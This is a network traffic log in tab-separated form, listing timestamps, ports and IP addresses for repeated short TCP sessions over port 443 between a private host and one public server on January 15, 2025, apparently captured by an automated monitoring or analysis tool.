Jan 15, 2025 15:29:55.765517950 CET	49902	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:55.765573978 CET	443	49902	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:55.765968084 CET	49902	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:55.766011953 CET	443	49902	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:56.155961990 CET	443	49902	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:56.156267881 CET	443	49902	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:56.156507015 CET	49902	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:56.156694889 CET	49902	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:56.156694889 CET	49902	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:56.156740904 CET	443	49902	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:56.156757116 CET	443	49902	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:57.559108019 CET	49903	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:57.559202909 CET	443	49903	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:57.559432030 CET	49903	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:57.559519053 CET	49903	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:57.559545994 CET	443	49903	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:57.800960064 CET	443	49903	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:57.801420927 CET	49903	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:57.801476002 CET	443	49903	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:57.801865101 CET	49903	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:57.801908016 CET	443	49903	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:58.365026951 CET	443	49903	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:58.365324020 CET	443	49903	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:58.365531921 CET	49903	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:58.365942001 CET	49903	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:58.365942001 CET	49903	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:58.366000891 CET	443	49903	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:58.366019011 CET	443	49903	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:59.589978933 CET	49904	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:59.590018988 CET	443	49904	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:59.590234041 CET	49904	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:59.590351105 CET	49904	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:59.590370893 CET	443	49904	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:59.825464010 CET	443	49904	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:59.825925112 CET	49904	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:59.825980902 CET	443	49904	3.13.191.225	192.168.11.20
Jan 15, 2025 15:29:59.826378107 CET	49904	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:29:59.826422930 CET	443	49904	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:00.347984076 CET	443	49904	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:00.348284960 CET	443	49904	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:00.348469973 CET	49904	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:00.348685980 CET	49904	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:00.348685980 CET	49904	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:00.348747015 CET	443	49904	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:00.348764896 CET	443	49904	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:02.636409998 CET	49905	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:02.636523008 CET	443	49905	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:02.636840105 CET	49905	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:02.636841059 CET	49905	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:02.637000084 CET	443	49905	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:02.872714996 CET	443	49905	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:02.873327971 CET	49905	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:02.873369932 CET	443	49905	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:02.873811960 CET	49905	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:02.873835087 CET	443	49905	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:03.289644957 CET	443	49905	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:03.289933920 CET	443	49905	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:03.290164948 CET	49905	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:03.290292025 CET	49905	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:03.290292025 CET	49905	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:03.290340900 CET	443	49905	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:03.290357113 CET	443	49905	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:04.651376009 CET	49906	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:04.651487112 CET	443	49906	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:04.651813030 CET	49906	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:04.651813030 CET	49906	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:04.651957035 CET	443	49906	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:04.888740063 CET	443	49906	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:04.889333010 CET	49906	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:04.889388084 CET	443	49906	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:04.889868975 CET	49906	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:04.889911890 CET	443	49906	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:05.250055075 CET	443	49906	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:05.258583069 CET	443	49906	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:05.258924007 CET	49906	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:05.258924961 CET	49906	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:05.258924961 CET	49906	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:05.571944952 CET	49906	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:05.571969986 CET	443	49906	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:08.713171959 CET	49907	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:08.713283062 CET	443	49907	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:08.713489056 CET	49907	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:08.713607073 CET	49907	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:08.713646889 CET	443	49907	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:08.949541092 CET	443	49907	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:08.950093031 CET	49907	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:08.950153112 CET	443	49907	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:08.951400042 CET	49907	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:08.951455116 CET	443	49907	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:09.275957108 CET	443	49907	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:09.276237011 CET	443	49907	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:09.276387930 CET	49907	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:09.276458025 CET	49907	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:09.276458979 CET	49907	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:09.276504040 CET	443	49907	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:09.276520967 CET	443	49907	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:10.728398085 CET	49908	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:10.728507996 CET	443	49908	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:10.728830099 CET	49908	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:10.728950977 CET	49908	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:10.728991032 CET	443	49908	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:10.966398954 CET	443	49908	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:10.967025995 CET	49908	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:10.967080116 CET	443	49908	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:10.967524052 CET	49908	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:10.967561960 CET	443	49908	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:11.326724052 CET	443	49908	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:11.326991081 CET	443	49908	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:11.327239990 CET	49908	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:11.327464104 CET	49908	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:11.327464104 CET	49908	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:11.327514887 CET	443	49908	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:11.327529907 CET	443	49908	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:13.774369001 CET	49909	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:13.774477959 CET	443	49909	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:13.775094986 CET	49909	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:13.775094986 CET	49909	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:13.775238037 CET	443	49909	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:14.012676954 CET	443	49909	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:14.013197899 CET	49909	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:14.013252974 CET	443	49909	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:14.013756037 CET	49909	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:14.013798952 CET	443	49909	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:14.591140985 CET	443	49909	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:14.591442108 CET	443	49909	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:14.591603994 CET	49909	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:14.591669083 CET	49909	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:14.591669083 CET	49909	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:14.591711998 CET	443	49909	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:14.591727972 CET	443	49909	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:16.805143118 CET	49910	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:16.805255890 CET	443	49910	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:16.805609941 CET	49910	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:16.805732965 CET	49910	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:16.805773973 CET	443	49910	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:17.041726112 CET	443	49910	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:17.042306900 CET	49910	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:17.042321920 CET	443	49910	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:17.042871952 CET	49910	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:17.042881966 CET	443	49910	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:17.484987020 CET	443	49910	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:17.485299110 CET	443	49910	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:17.485701084 CET	49910	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:17.485780954 CET	49910	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:17.485780954 CET	49910	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:17.485827923 CET	443	49910	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:17.485845089 CET	443	49910	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:19.851089001 CET	49911	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:19.851200104 CET	443	49911	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:19.851813078 CET	49911	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:19.851813078 CET	49911	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:19.851972103 CET	443	49911	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:20.089351892 CET	443	49911	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:20.089909077 CET	49911	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:20.089967966 CET	443	49911	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:20.090358019 CET	49911	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:20.090401888 CET	443	49911	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:20.499864101 CET	443	49911	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:20.500159025 CET	443	49911	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:20.500364065 CET	49911	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:20.500514984 CET	49911	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:20.500514984 CET	49911	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:20.500564098 CET	443	49911	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:20.500580072 CET	443	49911	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:22.897232056 CET	49912	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:22.897321939 CET	443	49912	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:22.897633076 CET	49912	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:22.897717953 CET	49912	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:22.897748947 CET	443	49912	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:23.130779982 CET	443	49912	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:23.131484985 CET	49912	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:23.131571054 CET	443	49912	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:23.131900072 CET	49912	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:23.131951094 CET	443	49912	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:23.479856968 CET	443	49912	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:23.486839056 CET	443	49912	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:23.487112045 CET	49912	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:23.487313986 CET	49912	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:23.487313986 CET	49912	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:23.487329006 CET	443	49912	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:23.487334013 CET	443	49912	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:25.943530083 CET	49913	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:25.943618059 CET	443	49913	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:25.943893909 CET	49913	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:25.944052935 CET	49913	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:25.944104910 CET	443	49913	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:26.184026003 CET	443	49913	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:26.184648037 CET	49913	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:26.184736013 CET	443	49913	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:26.185050011 CET	49913	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:26.185095072 CET	443	49913	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:26.558974028 CET	443	49913	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:26.559259892 CET	443	49913	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:26.559431076 CET	49913	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:26.559551954 CET	49913	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:26.559551954 CET	49913	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:26.559604883 CET	443	49913	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:26.559624910 CET	443	49913	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:28.990075111 CET	49914	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:28.990189075 CET	443	49914	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:28.990747929 CET	49914	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:28.990747929 CET	49914	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:28.990907907 CET	443	49914	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:29.230714083 CET	443	49914	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:29.231273890 CET	49914	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:29.231332064 CET	443	49914	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:29.231717110 CET	49914	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:29.231760025 CET	443	49914	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:29.649965048 CET	443	49914	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:29.650290012 CET	443	49914	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:29.650523901 CET	49914	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:29.650609970 CET	49914	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:29.650609970 CET	49914	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:29.650654078 CET	443	49914	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:29.650671005 CET	443	49914	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:32.020812988 CET	49915	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:32.020925999 CET	443	49915	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:32.021130085 CET	49915	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:32.021253109 CET	49915	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:32.021292925 CET	443	49915	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:32.262008905 CET	443	49915	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:32.262533903 CET	49915	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:32.262590885 CET	443	49915	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:32.263457060 CET	49915	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:32.263500929 CET	443	49915	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:33.080828905 CET	443	49915	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:33.081123114 CET	443	49915	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:33.081315041 CET	49915	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:33.081470013 CET	49915	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:33.081470013 CET	49915	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:33.081532001 CET	443	49915	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:33.081549883 CET	443	49915	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:36.128668070 CET	49916	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:36.128703117 CET	443	49916	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:36.129053116 CET	49916	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:36.129053116 CET	49916	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:36.129112005 CET	443	49916	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:36.366497993 CET	443	49916	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:36.367213011 CET	49916	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:36.367301941 CET	443	49916	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:36.367616892 CET	49916	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:36.367664099 CET	443	49916	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:36.724461079 CET	443	49916	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:36.731035948 CET	443	49916	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:36.731281996 CET	49916	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:36.731308937 CET	49916	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:36.731308937 CET	49916	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:36.731322050 CET	443	49916	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:36.731326103 CET	443	49916	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:40.190409899 CET	49917	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:40.190525055 CET	443	49917	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:40.190829039 CET	49917	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:40.190829039 CET	49917	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:40.190938950 CET	443	49917	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:40.427603960 CET	443	49917	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:40.428124905 CET	49917	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:40.428214073 CET	443	49917	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:40.428560019 CET	49917	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:40.428606033 CET	443	49917	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:40.799420118 CET	443	49917	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:40.799710035 CET	443	49917	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:40.799937010 CET	49917	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:40.800081968 CET	49917	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:40.800082922 CET	49917	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:40.800142050 CET	443	49917	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:40.800159931 CET	443	49917	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:43.236809015 CET	49918	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:43.236851931 CET	443	49918	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:43.237237930 CET	49918	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:43.237237930 CET	49918	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:43.237291098 CET	443	49918	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:43.473211050 CET	443	49918	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:43.474112988 CET	49918	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:43.474164963 CET	443	49918	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:43.474188089 CET	49918	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:43.474220991 CET	443	49918	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:43.839075089 CET	443	49918	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:43.839329958 CET	443	49918	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:43.839503050 CET	49918	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:43.839601994 CET	49918	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:43.839601994 CET	49918	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:43.839660883 CET	443	49918	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:43.839685917 CET	443	49918	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:46.282850027 CET	49919	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:46.282895088 CET	443	49919	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:46.283246994 CET	49919	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:46.283246994 CET	49919	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:46.283299923 CET	443	49919	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:46.519685030 CET	443	49919	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:46.520188093 CET	49919	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:46.520242929 CET	443	49919	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:46.520644903 CET	49919	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:46.520689964 CET	443	49919	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:47.103388071 CET	443	49919	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:47.103674889 CET	443	49919	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:47.103822947 CET	49919	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:47.103899956 CET	49919	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:47.103899956 CET	49919	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:47.103954077 CET	443	49919	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:47.103980064 CET	443	49919	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:49.329245090 CET	49920	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:49.329355955 CET	443	49920	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:49.329976082 CET	49920	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:49.329976082 CET	49920	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:49.330121994 CET	443	49920	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:49.577761889 CET	443	49920	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:49.578282118 CET	49920	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:49.578331947 CET	443	49920	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:49.578778028 CET	49920	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:49.578813076 CET	443	49920	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:50.011184931 CET	443	49920	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:50.011466026 CET	443	49920	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:50.011668921 CET	49920	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:50.011751890 CET	49920	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:50.011751890 CET	49920	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:50.011804104 CET	443	49920	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:50.011828899 CET	443	49920	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:52.375674963 CET	49921	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:52.375722885 CET	443	49921	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:52.376384974 CET	49921	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:52.376384974 CET	49921	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:52.376446962 CET	443	49921	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:52.613471031 CET	443	49921	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:52.614106894 CET	49921	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:52.614166975 CET	443	49921	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:52.614628077 CET	49921	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:52.614671946 CET	443	49921	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:52.990845919 CET	443	49921	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:52.991133928 CET	443	49921	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:52.991318941 CET	49921	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:52.991519928 CET	49921	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:52.991520882 CET	49921	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:52.991570950 CET	443	49921	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:52.991588116 CET	443	49921	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:56.421729088 CET	49922	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:56.421772003 CET	443	49922	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:56.422045946 CET	49922	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:56.422070980 CET	49922	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:56.422079086 CET	443	49922	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:56.658019066 CET	443	49922	3.13.191.225	192.168.11.20
